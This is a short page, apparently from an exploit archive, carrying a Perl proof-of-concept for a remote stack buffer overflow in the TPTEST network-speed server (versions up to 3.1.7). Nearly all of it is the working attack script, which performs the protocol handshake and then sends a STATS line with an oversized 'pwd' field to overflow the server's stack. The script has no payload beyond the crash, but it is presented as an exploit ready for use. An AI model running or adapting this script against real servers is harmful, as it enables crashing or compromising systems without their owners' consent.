TPTEST GetStatsFromLine()函数远程栈溢出漏洞

#!/usr/local/bin/perl # TPTEST <= 3.1.7 (maby also 5.0.2?) # tptest.sourceforge.net # stackbased buffer overflow poc in server (client can also be exploit) # author: ffwd use IO::Socket;($host,$port)=@ARGV; $rem=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port); if(!$rem){die "1\n";}$rem->autoflush(1); $cookie=$major=$minor="123"; $r=<$rem>;print "$r";sleep 5; # to attach in gdb.. if($r=~/cookie=([0-9]*)/){$cookie=$1;} if($r=~/vmajor=([0-9]*)/){$major=$1;} if($r=~/vminor=([0-9]*)/){$minor=$1;} $s="TEST vmajor=$major;vminor=$minor;mode=4;timeout=60;tcpbytes=0;cookie=$cookie;client=\r\n"; print "$s";print $rem "$s";$rr=<$rem>;print "$rr"; if($rr=~/^210 tcpdataport=([0-9]*)/) {$data=$1;$remm=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$data); if(!$remm){die "2\n";}} $ss="STATS majorv=$major;minorv=$minor;pktssent=0;pktsunsent=0;pktsrcvd=0;bytessent=51200;bytesrcvd=0;". "maxrtt=0;minrtt=999999999;totrtt=0;nortt=0;oocount=0;txstart_s=7274757975;txstart_us=717574;". "txstop_s=7274757975;txstop_us=717173;rxstart_s=0;rxstart_us=0;rxstop_s=0;rxstop_us=0;email=;pwd=". ("A"x42)."\r\n"; # buffer overflow! print "$ss";print $rem "$ss"; print while <$rem>; # http://www.sebug.net/exploit/5796/